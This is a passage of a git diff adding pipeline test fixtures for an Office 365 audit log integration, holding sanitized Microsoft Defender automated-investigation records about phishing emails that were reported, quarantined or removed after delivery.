dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"AuthDetails\":[{\"Name\":\"SPF\",\"Value\":\"Pass\"},{\"Name\":\"DKIM\",\"Value\":\"Pass\"},{\"Name\":\"DMARC\",\"Value\":\"Pass\"},{\"Name\":\"Comp Auth\",\"Value\":\"pass\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"4\",\"Address\":\"81.2.69.144\",\"Type\":\"ip\",\"Urn\":\"urn:IPEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"5\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (BodyFingerprintBin1:\\\"5555555555\\\") ) AND ( (P2SenderDomain:\\\"example.com\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"BodyFingerprintBin1,P2SenderDomain\",\"Type\":\"mailCluster\",\"ClusterBy\":\"BodyFingerprintBin1;P2SenderDomain;ContentType\",\"ClusterByValue\":\"5555555555;example.com;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"6\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (BodyFingerprintBin1:\\\"5555555555\\\") ) AND ( (SenderIp:\\\"81.2.69.144\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"BodyFingerprintBin1,SenderIp\",\"Type\":\"mailCluster\",\"ClusterBy\":\"BodyFingerprintBin1;SenderIp;ContentType\",\"ClusterByValue\":\"5555555555;81.2.69.144;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"7\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (Subject:\\\"subject\\\") ) AND ( (SenderIp:\\\"81.2.69.144\\\") ) AND ( (AntispamDirection:\\\"1\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"Subject,SenderIp,AntispamDirection\",\"Type\":\"mailCluster\",\"ClusterBy\":\"Subject;SenderIp;AntispamDirection;ContentType\",\"ClusterByValue\":\"subject;81.2.69.144;1;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"8\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (Subject:\\\"subject\\\") ) AND ( (P2SenderDomain:\\\"example.com\\\") ) AND ( (AntispamDirection:\\\"1\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"Subject,P2SenderDomain,AntispamDirection\",\"Type\":\"mailCluster\",\"ClusterBy\":\"Subject;P2SenderDomain;AntispamDirection;ContentType\",\"ClusterByValue\":\"subject;example.com;1;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"SourceTemplateType\":\"Threat_Single\",\"Category\":\"ThreatManagement\",\"SourceAlertType\":\"System\"}", + "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "AirInvestigationData", + "InvestigationId": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "EndTimeUtc": "2023-12-31T23:59:59", + "Workload": "AirInvestigation", + "RecordType": 64, + "Version": 1, + "UserId": "AirInvestigation", + "CreationTime": "2023-12-31T23:59:59", + "InvestigationName": "Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4, + "RunningTime": "2314", + "LastUpdateTimeUtc": "2023-12-31T23:59:59" + } + }, + { + "event": { + "original": "{\"Status\":\"Running\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InvestigationType\":\"SubmissionInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.00Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"InProgress\\\",\\\"Severity\\\":\\\"Low\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[{\\\"$id\\\":\\\"1\\\",\\\"Id\\\":\\\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\\\",\\\"InvestigationStatus\\\":\\\"Running\\\"}],\\\"InvestigationIds\\\":[\\\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\\\"],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"2\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email reported by user as malware or phish\\\",\\\"Description\\\":\\\"This alert is triggered when any email message is reported as malware or phish by users -V1.0.0.3\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/viewalerts?id=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\"],\\\"Threats\\\":[\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"bounce@example.com\\\",\\\"P1Sender\\\":\\\"<>\\\",\\\"P1SenderDomain\\\":\\\"\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"bounce@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Inbound\\\",\\\"DeliveryAction\\\":\\\"Delivered\\\",\\\"ThreatDetectionMethods\\\":[\\\"MLModel\\\"],\\\"Language\\\":\\\"nb\\\",\\\"DeliveryLocation\\\":\\\"Inbox\\\",\\\"OriginalDeliveryLocation\\\":\\\"Inbox\\\",\\\"PhishConfidenceLevel\\\":\\\"High\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\"],\\\"Connector\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\\\",\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"SPF\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"None\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"Fail\\\"},{\\\"Name\\\":\\\"Comp Auth\\\",\\\"Value\\\":\\\"fail\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"MailboxPrimaryAddress\\\":\\\"user@example.com\\\",\\\"Upn\\\":\\\"account@example.com\\\",\\\"AadId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"RiskLevel\\\":\\\"None\\\",\\\"Type\\\":\\\"mailbox\\\",\\\"Urn\\\":\\\"urn:UserEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Activity_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirInvestigationData\",\"InvestigationId\":\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"User reported message as malicious 'subject' for 'Phish'\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"312\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\"}" + }, + "o365audit": { + "Status": "Running", + "StartTimeUtc": "2023-12-31T23:59:59", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "InvestigationType": "SubmissionInvestigation", + "UserKey": "AirInvestigation", + "Data": "{\"Version\":\"3.0\",\"VendorName\":\"Microsoft\",\"ProviderName\":\"OATP\",\"AlertType\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"StartTimeUtc\":\"2023-12-31T23:59:59Z\",\"EndTimeUtc\":\"2023-12-31T23:59:59Z\",\"TimeGenerated\":\"2023-12-31T23:59:59.00Z\",\"ProcessingEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"Status\":\"InProgress\",\"Severity\":\"Low\",\"ConfidenceLevel\":\"Unknown\",\"ConfidenceScore\":1,\"IsIncident\":false,\"ProviderAlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SystemAlertId\":null,\"CorrelationKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Investigations\":[{\"$id\":\"1\",\"Id\":\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"InvestigationStatus\":\"Running\"}],\"InvestigationIds\":[\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\"],\"Intent\":\"Probing\",\"ResourceIdentifiers\":[{\"$id\":\"2\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"AzureResourceId\":null,\"WorkspaceId\":null,\"WorkspaceSubscriptionId\":null,\"WorkspaceResourceGroup\":null,\"AgentId\":null,\"AlertDisplayName\":\"Email reported by user as malware or phish\",\"Description\":\"This alert is triggered when any email message is reported as malware or phish by users -V1.0.0.3\",\"ExtendedLinks\":[{\"Href\":\"https://security.microsoft.com/viewalerts?id=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Category\":null,\"Label\":\"alert\",\"Type\":\"webLink\"}],\"Metadata\":{\"CustomApps\":null,\"GenericInfo\":null},\"Entities\":[{\"$id\":\"3\",\"Recipient\":\"user@example.com\",\"Urls\":[\"hxxp://test.local\",\"hxxp://test.local\",\"hxxp://test.local\"],\"Threats\":[\"HighConfPhish\"],\"Sender\":\"bounce@example.com\",\"P1Sender\":\"<>\",\"P1SenderDomain\":\"\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"bounce@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"AntispamDirection\":\"Inbound\",\"DeliveryAction\":\"Delivered\",\"ThreatDetectionMethods\":[\"MLModel\"],\"Language\":\"nb\",\"DeliveryLocation\":\"Inbox\",\"OriginalDeliveryLocation\":\"Inbox\",\"PhishConfidenceLevel\":\"High\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\"],\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"AuthDetails\":[{\"Name\":\"SPF\",\"Value\":\"Pass\"},{\"Name\":\"DKIM\",\"Value\":\"None\"},{\"Name\":\"DMARC\",\"Value\":\"Fail\"},{\"Name\":\"Comp Auth\",\"Value\":\"fail\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"4\",\"MailboxPrimaryAddress\":\"user@example.com\",\"Upn\":\"account@example.com\",\"AadId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RiskLevel\":\"None\",\"Type\":\"mailbox\",\"Urn\":\"urn:UserEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"SourceTemplateType\":\"Activity_Single\",\"Category\":\"ThreatManagement\",\"SourceAlertType\":\"System\"}", + "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "AirInvestigationData", + "InvestigationId": "urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890", + "EndTimeUtc": "2023-12-31T23:59:59", + "Workload": "AirInvestigation", + "RecordType": 64, + "Version": 1, + "UserId": "AirInvestigation", + "CreationTime": "2023-12-31T23:59:59", + "InvestigationName": "User reported message as malicious 'subject' for 'Phish'", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4, + "RunningTime": "312", + "LastUpdateTimeUtc": "2023-12-31T23:59:59" + } + } + ] +} \ No newline at end of file diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json-expected.json new file mode 100644 index 00000000000..cf45a4034b2 --- /dev/null +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json-expected.json @@ -0,0 +1,1115 @@ +{ + "expected": [ + { + "@timestamp": "2023-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "from": { + "address": [ + "sender@example.com" + ] + }, + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "sender@example.com" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "AirInvestigationData", + "category": [ + "web" + ], + "code": "AirInvestigation", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"Status\":\"Pending Action\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"Actions\":[{\"$id\":\"1\",\"ActionId\":\"urn:EmailZapper:abcdef1234567890abcdef1234567890\",\"InvestigationId\":\"urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"ActionApproval\":\"None\",\"ActionType\":\"EmailRemediation\",\"ActionStatus\":\"Pending\",\"Entities\":[{\"$id\":\"2\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":56,\"Phish\":45,\"Malware\":1,\"Spam\":18,\"MaliciousUrl\":86},\"CountByProtectionStatus\":{\"Delivered\":0,\"Blocked\":19},\"CountByDeliveryLocation\":{\"Inbox\":0,\"Quarantine\":19,\"Forwarded\":1},\"Query\":\"( ((NormalizedUrl:\\\"https://test.local/-\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":86,\"IsVolumeAnamoly\":true,\"ClusterSourceIdentifier\":\"https://test.local/-\",\"ClusterSourceType\":\"UrlThreatIndicator\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"UrlThreatIdentifier\",\"Type\":\"mailCluster\",\"ClusterBy\":\"NormalizedUrl;ContentType\",\"ClusterByValue\":\"https://test.local/-;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"RelatedAlertIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimestampUtc\":\"2023-12-31T23:59:59\",\"BulkName\":\"Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"ResourceIdentifiers\":[{\"$id\":\"3\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"PendingType\":\"User\",\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"Description\":\"For malicious emails,you can move to junk,soft or hard delete from user's mailbox.\"}],\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InvestigationType\":\"UrlInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.9Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"New\\\",\\\"DetectionTechnology\\\":\\\"URLList\\\",\\\"Severity\\\":\\\"Informational\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[],\\\"InvestigationIds\\\":[],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"1\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email messages containing malicious URL removed after delivery​\\\",\\\"Description\\\":\\\"Emails with malicious URL that were delivered and later removed -V1.0.0.3\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"2\\\",\\\"MailboxPrimaryAddress\\\":\\\"user@example.com\\\",\\\"Upn\\\":\\\"user@example.com\\\",\\\"AadId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"RiskLevel\\\":\\\"None\\\",\\\"Type\\\":\\\"mailbox\\\",\\\"Urn\\\":\\\"urn:UserEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"https://test.local/-\\\"],\\\"Threats\\\":[\\\"ZapPhish\\\",\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"sender@example.com\\\",\\\"P1Sender\\\":\\\"sender@example.com\\\",\\\"P1SenderDomain\\\":\\\"example.com\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"sender@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Intraorg\\\",\\\"DeliveryAction\\\":\\\"Blocked\\\",\\\"ThreatDetectionMethods\\\":[\\\"URLList\\\"],\\\"Language\\\":\\\"de\\\",\\\"DeliveryLocation\\\":\\\"Quarantine\\\",\\\"OriginalDeliveryLocation\\\":\\\"Inbox\\\",\\\"PhishConfidenceLevel\\\":\\\"High\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\",\\\"Zap: [Success: Message moved to quarantine]\\\"],\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"None\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"None\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"Url\\\":\\\"https://test.local/-\\\",\\\"Type\\\":\\\"url\\\",\\\"ClickCount\\\":0,\\\"EmailCount\\\":86,\\\"Urn\\\":\\\"urn:UrlEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"5\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 